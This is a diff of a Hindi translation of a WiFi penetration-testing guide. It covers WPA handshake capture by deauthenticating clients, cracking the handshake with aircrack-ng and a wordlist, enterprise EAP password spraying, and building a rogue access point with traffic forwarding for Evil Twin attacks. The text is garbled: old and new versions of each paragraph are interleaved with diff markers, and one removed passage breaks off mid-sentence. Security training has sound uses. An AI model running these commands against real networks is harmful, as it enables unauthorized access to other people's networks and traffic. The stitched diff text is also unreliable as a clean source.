अब आपको कुछ सेकंड के लिए **client** को **deauthenticate** करने की आवश्यकता है ताकि वह स्वतः ही AP से फिर से authenticate हो जाए (कृपया client को deauthenticate करने के कई तरीके जानने के लिए DoS का हिस्सा पढ़ें):
|
||||
अब आपको **ग्राहक** को कुछ सेकंड के लिए **डीऑथेंटिकेट** करने की आवश्यकता है ताकि यह स्वचालित रूप से एपी को पुनः प्रमाणीकृत कर सके (कृपया डीऑएस के हिस्से को पढ़ें ताकि ग्राहक को डीऑथेंटिकेट करने के कई तरीके मिलें):
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
||||
```
|
||||
ध्यान दें कि जैसे ही क्लाइंट को डीऑथेंटिकेट किया गया, वह एक अलग AP से या, अन्य मामलों में, एक अलग नेटवर्क से कनेक्ट होने की कोशिश कर सकता है।
|
||||
_ध्यान दें कि जैसे क्लाइंट को डीऑथेंटिकेट किया गया था, वह एक विभिन्न एपी से कनेक्ट करने की कोशिश कर सकता है या, अन्य मामलों में, एक विभिन्न नेटवर्क से कनेक्ट करने की कोशिश कर सकता है।_
|
||||
|
||||
`airodump-ng` में एक बार हैंडशेक की जानकारी दिखाई देने लगे, इसका मतलब है कि हैंडशेक कैप्चर कर लिया गया है और आप सुनना बंद कर सकते हैं:
|
||||
एक बार `airodump-ng` में हैंडशेक जानकारी दिखाई देती है तो इसका मतलब है कि हैंडशेक को कैप्चर किया गया है और आप सुनना बंद कर सकते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
हैंडशेक कैप्चर हो जाने के बाद आप इसे `aircrack-ng` के साथ **क्रैक** कर सकते हैं:
|
||||
हैंडशेक को कैप्चर करने के बाद आप इसे `aircrack-ng` के साथ **क्रैक** कर सकते हैं:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### फाइल में हैंडशेक की जांच करें
|
||||
### फ़ाइल में हैंडशेक की जाँच करें
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
|
@ -368,11 +370,11 @@ aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was c
|
|||
```bash
|
||||
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
||||
```
|
||||
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
||||
[**काऊपैटी**](https://github.com/roobixx/cowpatty)
|
||||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_यदि यह टूल किसी ESSID के अपूर्ण हैंडशेक को पूर्ण होने से पहले पाता है, तो यह वैध हैंडशेक का पता नहीं लगाएगा।_
|
||||
_यदि यह टूल एक ESSID का अपूर्ण हैंडशेक खोजता है पूर्ण हैंडशेक से पहले, तो यह मान्य वाला नहीं डिटेक्ट करेगा।_
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
|
@ -381,49 +383,22 @@ pyrit -r psk-01.cap analyze
|
|||
```
|
||||
## **WPA एंटरप्राइज (MGT)**
|
||||
|
||||
**यह** उल्लेख करना महत्वपूर्ण है कि एंटरप्राइज Wifi द्वारा उपयोग किए जा सकने वाले **विभिन्न प्रमाणीकरण विधियों** के बारे में। इस प्रकार के Wifis के लिए आपको `airodump-ng` में कुछ इस तरह का दिखाई दे सकता है:
|
||||
**यह** महत्वपूर्ण है कि **विभिन्न प्रमाणीकरण विधियों** के बारे में चर्चा की जाए जो किसी एंटरप्राइज Wifi द्वारा उपयोग किया जा सकता है। इस प्रकार के Wifi में आपको शायद `airodump-ng` में ऐसा कुछ मिलेगा:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
**EAP** (Extensible Authentication Protocol) प्रमाणीकरण संचार की **खोपड़ी** है, इसके ऊपर, एक **प्रमाणीकरण एल्गोरिदम** का उपयोग सर्वर द्वारा **क्लाइंट** (**सप्लिकेंट**) को प्रमाणित करने और कुछ मामलों में क्लाइंट द्वारा सर्वर को प्रमाणित करने के लिए किया जाता है।\
|
||||
इस मामले में प्रयुक्त मुख्य प्रमाणीकरण एल्गोरिदम:
|
||||
**EAP** (Extensible Authentication Protocol) का **authentication communication** का **skull**, इसके **upar**, सर्वर द्वारा **client** (**supplicant**) की प्रमाणीकरण के लिए एक **authentication algorithm** का उपयोग किया जाता है और कई मामलों में client द्वारा सर्वर की प्रमाणीकरण के लिए।\
|
||||
इस मामले में प्रमुख प्रमाणीकरण एल्गोरिदम:
|
||||
|
||||
* **EAP-GTC:** EAP-PEAP के साथ हार्डवेयर टोकन और एक-बार के पासवर्ड के उपयोग का समर्थन करने के लिए एक EAP विधि है। इसका कार्यान्वयन MSCHAPv2 के समान है, लेकिन इसमें पीयर चैलेंज का उपयोग नहीं होता है। इसके बजाय, पासवर्ड **plaintext** में एक्सेस पॉइंट को भेजे जाते हैं (डाउनग्रेड हमलों के लिए बहुत दिलचस्प)।
|
||||
* **EAP-MD-5 (Message Digest)**: क्लाइंट पासवर्ड का MD5 हैश भेजता है। **अनुशंसित नहीं**: शब्दकोश हमलों के लिए संवेदनशील, कोई सर्वर प्रमाणीकरण नहीं और प्रति सत्र वायर्ड समकक्ष गोपनीयता (WEP) कुंजियाँ उत्पन्न करने का कोई तरीका नहीं।
|
||||
* **EAP-TLS (Transport Layer Security)**: यह **क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों** पर निर्भर करता है प्रमाणीकरण करने के लिए और बाद के संचारों को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजियों को गतिशील रूप से उत्पन्न करने के लिए उपयोग किया जा सकता है।
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: क्लाइंट और नेटवर्क का **पारस्परिक प्रमाणीकरण** एक एन्क्रिप्टेड चैनल (या सुरंग) के माध्यम से, साथ ही प्रति-उपयोगकर्ता, प्रति-सत्र WEP कुंजियों को व्युत्पन्न करने का एक साधन। EAP-TLS के विपरीत, **EAP-TTLS केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है (क्लाइंट क्रेडेंशियल्स का उपयोग करेगा)**।
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP **EAP** प्रोटोकॉल की तरह है लेकिन संचार की रक्षा के लिए एक **TLS सुरंग** बनाता है। फिर, कमजोर प्रमाणीकरण प्रोटोकॉल EAP के ऊपर उपयोग किए जा सकते हैं क्योंकि वे सुरंग द्वारा संरक्षित होंगे।
|
||||
* **PEAP-MSCHAPv2**: इसे आमतौर पर केवल **PEAP** के रूप में जाना जाता है क्योंकि यह व्यापक रूप से अपनाया गया है। यह सिर्फ चुनौती/प्रतिक्रिया कहा जाने वाला MSCHAPv2 PEAP के ऊपर है (यह TLS सुरंग द्वारा संरक्षित है)।
|
||||
* **PEAP-EAP-TLS या सिर्फ PEAP-TLS**: यह **EAP-TLS** के समान है लेकिन प्रमाणपत्रों के आदान-प्रदान से पहले एक TLS सुरंग बनाई जाती है।
|
||||
* **EAP-GTC:** EAP-PEAP के साथ हार्डवेयर टोकन्स और एक समय पासवर्ड का समर्थन करने के लिए एक EAP विधि है। इसका कार्यान्वयन MSCHAPv2 के समान है, लेकिन पीयर चैलेंज का उपयोग नहीं करता। इसके बजाय, पासवर्ड को **plaintext** में एक्सेस पॉइंट को भेजा जाता है (डाउनग्रेड हमलों के लिए बहुत दिलचस्प)।
|
||||
* **EAP-MD-5 (Message Digest)**: क्लाइंट पासवर्ड का MD5 हैश भेजता है। **सिफारिश नहीं की जाती**: शब्दकोश हमलों के लिए वल्नरेबल, कोई सर्वर प्रमाणीकरण नहीं और प्रति सत्र वायर्ड समकांवी गोपनीयता (WEP) कुंजियां उत्पन्न करने का कोई तरीका नहीं है।
|
||||
* **EAP-TLS (Transport Layer Security)**: यह **client-side और server-side certificates** पर आधारित है जो प्रमाणीकरण करने के लिए उपयोग किया जा सकता है और उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजियों को सुरक्षित करने के लिए उत्पन्न करने के लिए उपयोग किया जा सकता है।
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: एक एन्क्रिप्टेड चैनल (या टनल) के माध्यम से क्लाइंट और नेटवर्क का **Mutual authentication**, साथ ही एक उपयोगकर्ता, प्रति-सत्र WEP कुंजियां उत्पन्न करने का एक तरीका। EAP-TLS की तरह, **EAP-TTLS केवल सर्वर-साइड सर्टिफिकेट (क्लाइंट क्रेडेंशियल का उपयोग करेगा)** की आवश्यकता है।
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP **EAP** प्रोटोकॉल की तरह है लेकिन संचार को सुरक्षित करने के लिए एक **TLS टनल** बनाता है। इसके बाद, कमजोर प्रमाणीकरण प्रोटोकॉल EAP के ऊपर उपयोग किया जा सकता है क्योंकि वे टनल द्वारा सुरक्षित होंगे।
|
||||
* **PEAP-MSCHAPv2**: यह भी **PEAP** के रूप में जाना जाता है क्योंकि यह व्यापक रूप से अपने चैलेंज/प्रतिक्रिया को MSCHAPv2 कहा जाता है जो PEAP के ऊपर है (यह TLS टनल द्वारा सुरक्षित है)।
|
||||
* **PEAP-EAP-TLS या केवल PEAP-TLS**: यह **EAP-TLS** के बहुत समान है लेकिन सर्टिफिकेट आदान प्रदान होने से पहले एक TLS टनल बनाया जाता है।
|
||||
|
||||
इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी आप [यहाँ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) और [यहाँ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) पा सकते हैं।
|
||||
|
||||
### उपयोगकर्ता नाम कैप्चर
|
||||
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) पढ़ने पर ऐसा प्रतीत होता है कि यदि आप **EAP** का उपयोग कर रहे हैं तो **"Identity"** **संदेशों** का समर्थन **किया जाना चाहिए**, और **उपयोगकर्ता नाम** **"Response Identity"** संदेशों में **स्पष्ट** रूप से भेजा जाएगा।
|
||||
|
||||
यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते समय, EAP प्रोटोकॉल में भेजे गए उपयोगकर्ता नाम को **कैप्चर करना संभव** है। ऐसा करने के लिए, **प्रमाणीकरण संचार को कैप्चर करें** (एक चैनल के अंदर `airodump-ng` शुरू करें और उसी इंटरफेस में `wireshark` का उपयोग करें) और पैकेट्स को `eapol` द्वारा फ़िल्टर करें।\
|
||||
"**Response, Identity**" पैकेट के अंदर, क्लाइंट का **उपयोगकर्ता नाम** दिखाई देगा।
|
||||
|
||||
![](<../../.gitbook/assets/image (150).png>)
|
||||
|
||||
### गुमनाम पहचान
|
||||
|
||||
(जानकारी [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) से ली गई है)
|
||||
|
||||
**EAP-PEAP और EAP-TTLS दोनों पहचान छिपाने का समर्थन करते हैं**। एक WiFi वातावरण में, एक्सेस पॉइंट (AP) आमतौर पर संघ की प्रक्रिया के भाग के रूप में एक EAP-Identity अनुरोध उत्पन्न करता है। गुमनामी को बनाए रखने के लिए, EAP क्लाइंट उपयोगकर्ता के सिस्टम पर केवल पर्याप्त जानकारी के साथ प्रतिक्रिया दे सकता है ताकि पहले हॉप RADIUS सर्वर अनुरोध को संसाधित कर सके, निम्नलिखित उदाहरणों में दिखाया गया है।
|
||||
|
||||
* _**EAP-Identity = anonymous**_
|
||||
|
||||
> इस उदाहरण में, सभी उपयोगकर्ता "anonymous" नामक प्रतीक-उपयोगकर्ता-नाम को साझा करेंगे। पहले हॉप RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर है जो PEAP या TTLS प्रोटोकॉल के सर्वर अंत को चलाता है। फिर, आंतरिक (संरक्षित) प्रमाणीकरण प्रकार या तो स्थानीय रूप से संभाला जाएगा या एक दूरस्थ (घरेलू) RADIUS सर्वर को प्रॉक्सी किया जाएगा।
|
||||
|
||||
* _**EAP-Identity = anonymous@realm_x**_
|
||||
|
||||
> इस उदाहरण में, विभिन्न राज्यों के उपयोगकर्ता अपनी पहचान छिपाते हैं लेकिन यह संकेत देते हैं कि वे किस राज्य के हैं ताकि पहले हॉप RADIUS सर्वर EAP-PEAP या EAP-TTLS अनुरोधों को उनके घरेलू राज्यों में RADIUS सर्वरों को प्रॉक्सी कर सके जो PEAP या TTLS सर्वर के रूप में कार्य करेंगे। पहले हॉप सर्वर शुद्ध रूप से एक RADIUS रिले नोड के रूप में कार्य करता है।
|
||||
>
|
||||
> वैकल्पिक रूप से, पहले हॉप सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो संरक्षित प्रमाणीकरण विधि को संसाधित कर सकता है या इसे दूसरे सर्वर को प्रॉक्सी कर सकता है। इस विकल्प का उपयोग विभिन्न राज्यों के लिए विभिन्न नीतियों को कॉन्फ़िगर करने के लिए किया जा सकता है।
|
||||
|
||||
EAP-PEAP में, एक बार PEAP सर्वर और PEAP क्लाइंट TLS सुरंग स्थापित कर लेते हैं, PEAP सर्वर एक EAP-Identity अनुरोध उत्पन्न करता है और इसे TLS सुरंग के नीचे प्रसारित करता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का जवाब देता है उपयोगकर्ता की सच्ची पहचान वाले EAP-Identity प्रतिक्रिया को एन्क्रिप्टेड सुरंग के नीचे भेजकर। यह 802.11 ट्रैफिक पर जासूसी करने वाले किसी को भी उपयोगकर्ता की सच्ची पहचान का पता लगाने से
|
||||
आप इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी [यहाँ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) और [यहाँ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) पा सकते हैं।
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
|
@ -435,39 +410,39 @@ EAP-PEAP में, एक बार PEAP सर्वर और PEAP क्ल
|
|||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## क्लाइंट अटैक्स सिद्धांत
|
||||
## क्लाइंट हमले सिद्धांत
|
||||
|
||||
### नेटवर्क चयन और रोमिंग
|
||||
|
||||
हालांकि 802.11 प्रोटोकॉल में बहुत विशिष्ट नियम हैं जो निर्धारित करते हैं कि कैसे एक स्टेशन किसी ESS से जुड़ सकता है, यह निर्दिष्ट नहीं करता कि स्टेशन को किस ESS से कनेक्ट करना चाहिए। इसके अलावा, प्रोटोकॉल स्टेशनों को उन एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है जो एक ही ESSID साझा करते हैं (क्योंकि आप एक इमारत के एक छोर से दूसरे छोर तक चलते समय WiFi कनेक्टिविटी खोना नहीं चाहेंगे, आदि)। हालांकि, 802.11 प्रोटोकॉल यह निर्दिष्ट नहीं करता कि इन एक्सेस पॉइंट्स का चयन कैसे किया जाना चाहिए। इसके अतिरिक्त, भले ही स्टेशनों को ESS के प्रमाणित होने की आवश्यकता होती है ताकि वे किसी एक्सेस पॉइंट से जुड़ सकें, 802.11 प्रोटोकॉल यह आवश्यक नहीं करता कि एक्सेस पॉइंट को स्टेशन के प्रति प्रमाणित किया जाए।
|
||||
हालांकि 802.11 प्रोटोकॉल में एक स्टेशन एक ESS से कैसे जुड़ सकता है को निर्दिष्ट करने वाले नियम होते हैं, लेकिन यह निर्दिष्ट नहीं करता कि स्टेशन को किस ESS से कनेक्ट होना चाहिए। इसके अतिरिक्त, प्रोटोकॉल अन्य एक ESSID के साझा करने वाले एक्सेस पॉइंट्स के बीच में स्वतंत्र रूप से रोमिंग करने की अनुमति देता है। हालांकि, 802.11 प्रोटोकॉल नहीं निर्दिष्ट करता कि इन एक्सेस पॉइंट्स को कैसे चयनित किया जाना चाहिए। इसके अतिरिक्त, हालांकि स्टेशन को एक एक्सेस पॉइंट से संबंधित करने के लिए ESS के साथ प्रमाणित होना चाहिए, 802.11 प्रोटोकॉल यह नहीं आवश्यक करता कि एक्सेस पॉइंट को स्टेशन से प्रमाणित किया जाए।
|
||||
|
||||
### पसंदीदा नेटवर्क सूचियां (PNLs)
|
||||
### पसंदीदा नेटवर्क सूची (PNLs)
|
||||
|
||||
जब भी कोई स्टेशन किसी वायरलेस नेटवर्क से जुड़ता है, नेटवर्क का ESSID स्टेशन की पसंदीदा नेटवर्क सूची (PNL) में संग्रहीत हो जाता है। PNL उन सभी नेटवर्कों की एक क्रमबद्ध सूची है जिससे स्टेशन अतीत में जुड़ चुका है, और PNL में प्रत्येक प्रविष्टि में नेटवर्क का ESSID और कनेक्शन स्थापित करने के लिए आवश्यक किसी भी नेटवर्क-विशिष्ट कॉन्फ़िगरेशन जानकारी होती है।
|
||||
हर बार जब एक स्टेशन एक वायरलेस नेटवर्क से कनेक्ट होता है, नेटवर्क का ESSID स्टेशन की पसंदीदा नेटवर्क सूची (PNL) में संग्रहीत होता है। PNL में स्टेशन ने पिछले में कनेक्ट किए गए हर नेटवर्क की क्रमबद्ध सूची होती है, और PNL में प्रत्येक प्रविष्टि में नेटवर्क का ESSID और किसी भी नेटवर्क-विशिष्ट कॉन्फ़िगरेशन सूचना शामिल होती है जो एक कनेक्शन स्थापित करने के लिए आवश्यक होती है।
|
||||
|
||||
### पैसिव स्कैनिंग
|
||||
|
||||
इंफ्रास्ट्रक्चर नेटवर्कों में, एक्सेस पॉइंट्स अवधिक रूप से बीकन फ्रेम्स का प्रसारण करते हैं ताकि वे अपनी उपस्थिति और क्षमताओं को निकटवर्ती स्टेशनों को विज्ञापित कर सकें। बीकन्स ब्रॉडकास्ट फ्रेम्स होते हैं, जिसका अर्थ है कि वे सभी निकटवर्ती स्टेशनों द्वारा प्राप्त किए जाने के लिए इरादा होते हैं। बीकन्स में AP की समर्थित दरों, एन्क्रिप्शन क्षमताओं, अतिरिक्त जानकारी, और सबसे महत्वपूर्ण, बीकन फ्रेम्स में AP का ESSID होता है (जब तक ESSID प्रसारण अक्षम नहीं होता)।
|
||||
इंफ्रास्ट्रक्चर नेटवर्क में, एक्सेस पॉइंट्स निकट स्टेशनों को अपनी मौजूदगी और क्षमताओं का विज्ञापन करने के लिए अनियमित बीकन फ्रेम निरंतर प्रसारित करते हैं। बीकन ब्रॉडकास्ट फ्रेम होते हैं, जिसका मतलब है कि इन्हें सभी निकट स्टेशनों द्वारा प्राप्त किया जाना चाहिए। बीकन में AP के समर्थित दरें, एन्क्रिप्शन क्षमताएँ, अतिरिक्त सूचनाएँ शामिल होती हैं, और सबसे महत्वपूर्ण बात, बीकन फ्रेम में AP का ESSID शामिल होता है (जब तक ESSID प्रसारण निषेधित नहीं है)।
|
||||
|
||||
पैसिव स्कैनिंग के दौरान, क्लाइंट डिवाइस निकटवर्ती एक्सेस पॉइंट्स से बीकन फ्रेम्स के लिए सुनता है। यदि क्लाइंट डिवाइस को एक बीकन फ्रेम प्राप्त होता है जिसका ESSID फील्ड क्लाइंट के PNL में एक ESSID से मेल खाता है, तो क्लाइंट स्वचालित रूप से उस एक्सेस पॉइंट से जुड़ जाएगा जिसने बीकन फ्रेम भेजा था। फिर, मान लीजिए हम किसी वायरलेस डिवाइस को लक्षित करना चाहते हैं जो वर्तमान में किसी भी वायरलेस से जुड़ा नहीं है। यदि हम उस क्लाइंट के PNL में कम से कम एक प्रविष्टि जानते हैं, तो हम केवल उस प्रविष्टि के ESSID के साथ अपना खुद का एक्सेस पॉइंट बनाकर क्लाइंट को हमसे जुड़ने के लिए मजबूर कर सकते हैं।
|
||||
पैसिव स्कैनिंग के दौरान, क्लाइंट डिवाइस निकट एक्सेस पॉइंट्स से बीकन फ्रेम के लिए सुनवाई करता है। यदि क्लाइंट डिवाइस एक बीकन फ्रेम प्राप्त करता है जिसका ESSID फील्ड क्लाइंट की PNL से किसी ESSID से मेल खाता है, तो क्लाइंट स्वचालित रूप से उस एक्सेस पॉइंट से कनेक्ट हो जाएगा जिसने बीकन फ्रेम भेजा है। फिर, मान लें कि हमें एक वायरलेस डिवाइस को लक्ष्य बनाना है जो किसी भी वायरलेस से वर्तमान में कनेक्ट नहीं है। यदि हमें उस क्लाइंट की PNL में कम से कम एक प्रविष्टि पता है, तो हम उस क्लाइंट को हमारे साथ कनेक्ट होने के लिए बस उस प्रविष्टि के ESSID के साथ अपना खुद का एक्सेस पॉइंट बनाकर क्लाइंट को जोड़ने के लिए उसे मजबूर कर सकते हैं।
|
||||
|
||||
### सक्रिय प्रोबिंग
|
||||
|
||||
802.11 में उपयोग की जाने वाली दूसरी नेटवर्क चयन एल्गोरिदम को सक्रिय प्रोबिंग के रूप में जाना जाता है। सक्रिय प्रोबिंग का उपयोग करने वाले क्लाइंट डिवाइस लगातार प्रोब अनुरोध फ्रेम्स का प्रसारण करते हैं ताकि यह निर्धारित किया जा सके कि कौन से APs रेंज में हैं, साथ ही उनकी क्षमताएं क्या हैं। प्रोब अनुरोध दो रूपों में आते हैं: निर्देशित और ब्रॉडकास्ट। निर्देशित प्रोब अनुरोध एक विशिष्ट ESSID के लिए पता लगाए जाते हैं, और यह क्लाइंट का तरीका होता है यह जांचने का कि कोई विशिष्ट नेटवर्क निकट है या नहीं।
|
||||
802.11 में उपयोग किए जाने वाले दूसरे नेटवर्क चयन एल्गोरिदम को सक्रिय प्रोबिंग के रूप में जाना जाता है। सक्रिय प्रोबिंग का उपयोग करने वाले क्लाइंट डिवाइस लगातार प्रोब रिक्वेस्ट फ्रेम प्रसारित करते हैं ताकि वे यह जान सकें कि कौन से एपीएस रेंज में हैं, साथ ही उनकी क्षमताएँ क्या हैं। प्रोब रिक्वेस्ट दो रूपों में आते हैं: निर्देशित और ब्रॉडकास्ट। निर्देशित प्रोब रिक्वेस्ट किसी विशिष्ट ESSID को पता करने के लिए होते हैं, और यह क्लाइंट का तरीका है कि क्या किसी विशिष्ट नेटवर्क के निकट है या नहीं।
|
||||
|
||||
निर्देशित प्रोबिंग का उपयोग करने वाले क्लाइंट अपनी PNL में प्रत्येक नेटवर्क के लिए प्रोब अनुरोध भेजेंगे। यह ध्यान दिया जाना चाहिए कि निर्देशित प्रोबिंग निकटवर्ती छिपे हुए नेटवर्कों की उपस्थिति की पहचान करने का एकमात्र तरीका है। ब्रॉडकास्ट प्रोब अनुरोध लगभग ठीक उसी तरह काम करते हैं, लेकिन SSID फील्ड को NULL पर सेट किया जाता है। यह सभी निकटवर्ती एक्सेस पॉइंट्स को ब्रॉडकास्ट प्रोब को पता लगाता है, जिससे स्टेशन अपनी पसंदीदा नेटवर्कों की जांच कर सकता है बिना अपनी PNL की सामग्री का खुलासा किए।
|
||||
निर्देशित प्रोबिंग का उपयोग करने वाले क्लाइंट उसकी PNL में प्रत्येक नेटवर्क के लिए प्रोब रिक्वेस्ट भेजेंगे। यह ध्यान देने योग्य है कि निर्देशित प्रोबिंग निकट स्थित छिपे हुए नेटवर्क की मौजूदगी को पहचानने का एकमात्र तरीका है। ब्रॉडकास्ट प्रोब रिक्वेस्ट लगभग एक ही तरीके से काम करते हैं, लेकिन इन्हें एसएसआईडी फील्ड को नल सेट करके भेजा जाता है। यह सभी निकट एक्सेस पॉइंट्स को ब्रॉडकास्ट प्रोब भेजने की अनुमति देता है, जिससे स्टेशन यह जांच सकता है कि क्या उसके पसंदीदा नेटवर्क निकट है बिना अपनी PNL की सामग्री को प्रकट किए।
|
||||
|
||||
## इंटरनेट के लिए रीडायरेक्शन के साथ सिंपल AP
|
||||
## इंटरनेट पर रिडायरेक्ट के साथ सरल एपी
|
||||
|
||||
अधिक जटिल हमलों को कैसे करें इसकी व्याख्या करने से पहले यह बताया जाएगा कि कैसे केवल एक **AP** **बनाने** के लिए और इसके **ट्रैफिक** को इंटरनेट से जुड़े इंटरफेस पर **रीडायरेक्ट** करने के लिए।
|
||||
अधिक जटिल हमले कैसे करने के बारे में समझाने से पहले, यह बताया जाएगा कि **कैसे** एक **एपी** बनाया जाए और उसका **ट्रैफिक** इंटरनेट से कनेक्ट किए गए एक इंटरफेस पर **रीडायरेक्ट** किया जाए।
|
||||
|
||||
`ifconfig -a` का उपयोग करके जांचें कि AP बनाने के लिए wlan इंटरफेस और इंटरनेट से जुड़ा इंटरफेस उपस्थित हैं।
|
||||
`ifconfig -a` का उपयोग करके जांचें कि एपी बनाने के लिए wlan इंटरफेस और इंटरनेट से कनेक्ट किए गए इंटरफेस मौजूद हैं।
|
||||
|
||||
### DHCP & DNS
|
||||
### DHCP और DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
एक config फ़ाइल _/etc/dnsmasq.conf_ इस प्रकार बनाएं:
|
||||
निम्नलिखित रूप में एक कॉन्फ़िग फ़ाइल _/etc/dnsmasq.conf_ बनाएं:
|
||||
```
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
|
@ -479,20 +454,20 @@ log-queries
|
|||
log-dhcp
|
||||
listen-address=127.0.0.1
|
||||
```
|
||||
तब **IPs सेट करें** और **रूट्स**:
|
||||
फिर **IPs** और **routes** को **सेट करें**:
|
||||
```
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
और फिर **start** dnsmasq:
|
||||
और फिर **dnsmasq** को **शुरू** करें:
|
||||
```
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
### hostapd
|
||||
### होस्टएपीडी
|
||||
```
|
||||
apt-get install hostapd
|
||||
```
|
||||
_config file_ _hostapd.conf_ बनाएं:
|
||||
एक कॉन्फ़िग फ़ाइल _hostapd.conf:_
|
||||
```
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
|
@ -510,67 +485,65 @@ wpa_group_rekey=86400
|
|||
ieee80211n=1
|
||||
wme_enabled=1
|
||||
```
|
||||
**परेशान करने वाली प्रक्रियाओं को रोकें**, **मॉनिटर मोड सेट करें**, और **hostapd शुरू करें**:
|
||||
**चिढ़ाने वाले प्रक्रियाओं** को **रोकें**, **मॉनिटर मोड** सेट करें, और **hostapd** **शुरू** करें:
|
||||
```
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
hostapd ./hostapd.conf
|
||||
```
|
||||
### फॉरवर्डिंग और रीडायरेक्शन
|
||||
### फॉरवर्डिंग और पुनर्निर्देशन
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Evil Twin
|
||||
## शैतान जुड़वां
|
||||
|
||||
Evil Twin हमला एक प्रकार का Wi-Fi हमला है जो इस तथ्य का फायदा उठाकर काम करता है कि अधिकांश कंप्यूटर और फोन केवल वायरलेस नेटवर्क का "नाम" या ESSID देखेंगे (क्योंकि बेस स्टेशन को क्लाइंट के खिलाफ प्रमाणित करने की आवश्यकता नहीं होती है)। इससे वास्तव में उन नेटवर्कों के बीच अंतर करना बहुत कठिन हो जाता है जिनका नाम और एन्क्रिप्शन का प्रकार समान होता है। वास्तव में, कई नेटवर्कों में कई नेटवर्क-विस्तारक एक्सेस पॉइंट होते हैं जो उपयोगकर्ताओं को भ्रमित किए बिना पहुंच को विस्तारित करने के लिए एक ही नाम का उपयोग करते हैं।
|
||||
एक शैतान जुड़वां हमला एक प्रकार का Wi-Fi हमला है जो इस तथ्य का लाभ उठाता है कि अधिकांश कंप्यूटर और फोन केवल एक वायरलेस नेटवर्क का "नाम" या ESSID देखेंगे (क्योंकि बेस स्टेशन को क्लाइंट के खिलाफ प्रमाणीकरण करने की आवश्यकता नहीं है)। यह वास्तव में इसे बहुत कठिन बनाता है कि एक ही नाम और एक ही प्रकार के एन्क्रिप्शन वाले नेटवर्कों के बीच भिन्न करना। वास्तव में, कई नेटवर्क एक ही नाम का उपयोग करके एक्सेस को विस्तारित करने के लिए कई नेटवर्क-विस्तारक एक्सेस प्वाइंट्स होंगे जिन्हें उपयोगकर्ताओं को गलती न हो।
|
||||
|
||||
क्लाइंट्स के कार्यान्वयन के कारण (याद रखें कि 802.11 प्रोटोकॉल स्टेशनों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है), यह संभव है कि एक डिवाइस को बेस स्टेशन बदलने के लिए बनाया जा सके। यह बेहतर सिग्नल प्रदान करके (जो हमेशा संभव नहीं होता) या मूल बेस स्टेशन तक पहुंच को अवरुद्ध करके (deauthentication पैकेट्स, jamming, या किसी अन्य प्रकार का DoS हमला) किया जा सकता है।
|
||||
क्लाइंट कार्यान्वयन के कारण (ध्यान दें कि 802.11 प्रोटोकॉल स्टेशन को एक्सेस प्वाइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है), यह संभव है कि एक डिवाइस को बेस स्टेशन बदलने की अनुमति दी जा सके। यह बेहतर सिग्नल प्रदान करके (जो हमेशा संभव नहीं होता) या मूल बेस स्टेशन का पहुंच ब्लॉक करके (डीऑथेंटिकेशन पैकेट्स, जैमिंग, या किसी अन्य प्रकार के डीओएस हमला) करके ऐसा करना संभव है।
|
||||
|
||||
